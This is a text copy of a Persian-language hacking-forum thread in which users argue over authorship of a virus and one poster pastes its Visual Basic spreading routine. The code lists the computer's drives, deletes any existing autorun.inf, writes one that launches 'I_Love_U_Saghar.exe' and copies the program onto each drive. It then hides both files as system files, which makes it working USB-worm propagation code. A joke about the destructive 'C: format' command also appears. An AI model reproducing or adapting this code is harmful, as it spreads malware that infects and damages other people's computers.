ايران ويج

نسخه‌ی کامل: سلام من کمک می خوام
شما در حال مشاهده‌ی نسخه‌ی متنی این صفحه می‌باشید. مشاهده‌ی نسخه‌ی کامل با قالب بندی مناسب.
صفحه‌ها: 1 2
خوب معلومه که اصلا جنبه انتقاد و حرف حق رو نداری منم خواستم دوستانه صحبت کنم و ادامه هم نمیدم
کار اولت رو هم دیده بودم که نظر دادم . خدا پدر بیل گیتس رو بیامرزه که این همه دستورات شلش کشنده است
C: format
فقط اگه متد دیگران نبوده من میتونم کل و تکتک خط های ویروست رو با منبعش که کل ایران ویج هم هست بگم ولی باز ادمه دیگه جایزالخطاست شاید من بیش از حد دیدم مطلب جدید بود بگین (اونی که توی ویروست نوشتی)
بعد یه لطفی هم بکن مهم ترین بخش ویروس که پخشش هست رو بگین الگوی پخشش رو خدا رو شکر که ini نیست ؟
ادامه نمیدم
اره الگویی پخشش تو این سورس کده به یه روشی هست که سورسش هست اون الگوی خودم توی کیلاگرمه در ضمن کسی اینجا عقده کل کل نداره خوب اگر تو میخوای باگ بیگیری نیمتونی رفیق اگر هم بگیم ایراد بیگیری چون نمیتونی بچه ها تستش کردم عزیز راستی من اگر رفتم پیش بیلی جون میگم ms dos را حذف کنید نفوذ گر ما من از منبع اینجا استفاده نکردم خوب دستور فرمت را با منبع را برای من بگو
راستی اینم اتوران
کد php:
Public Function Saghar_Back()
' sakht autorun.inf dar tamame drivha
On Error Resume Next
Static Drvs(26)

Set Fso = CreateObject("Scripting.FileSystemObject")

If CStr(Drvs(0)) = "" Then
 a = 0
 For Each Dr In Fso.Drives
 If Dr.DriveType = 5 Or Dr.DriveType = 2 Or Dr.DriveType = 3 Then
 Drvs(a) = Dr
 a = a + 1
 End If
 Next
End If


 For Each Drv In Drvs

If Fso.fileExists(Drv & "\AUTORUN.INF") = True And Fso.fileExists(Drv_
 & "\I_Love_U_Saghar.exe") = True Then GoTo nx
 If Fso.getDrive(Drv).isReady = True Then

 aut = "[AUTORUN]" & vbCrLf_
 & "shell\open\command=I_Love_U_Saghar.exe" & vbCrLf_
 & "shell\explore\command=I_Love_U_Saghar.exe" & vbCrLf & "shell\find\command=I_Love_U_Saghar.exe"
 

 If Fso.fileExists(Drv & "\AUTORUN.INF") = True Then
 SetAttr Drv & "\AUTORUN.INF", vbArchive
 Fso.DeleteFile Drv & "\AUTORUN.INF", True
 End If
 

 If Fso.fileExists(Drv & "\I_Love_U_Saghar.exe") = True Then
 SetAttr Drv & "\I_Love_U_Saghar.exe", vbArchive
 Fso.DeleteFile Drv & "\I_Love_U_Saghar.exe", True
 End If
 
 Fso.createTextFile(Drv & "\AUTORUN.INF").write aut
 MyPath = App.Path & "\" & App.EXEName & ".exe"
 Fso.CopyFile MyPath, Drv & "\I_Love_U_Saghar.exe", True
 
 SetAttr Drv & "\I_Love_U_Saghar.exe", vbHidden + vbSystem
 SetAttr Drv & "\AUTORUN.INF", vbHidden + vbSystem
 End If
nx:
 DoEvents
 Next
End Function 

بازم ببخشید اگر بحث را عوض کردیم
صفحه‌ها: 1 2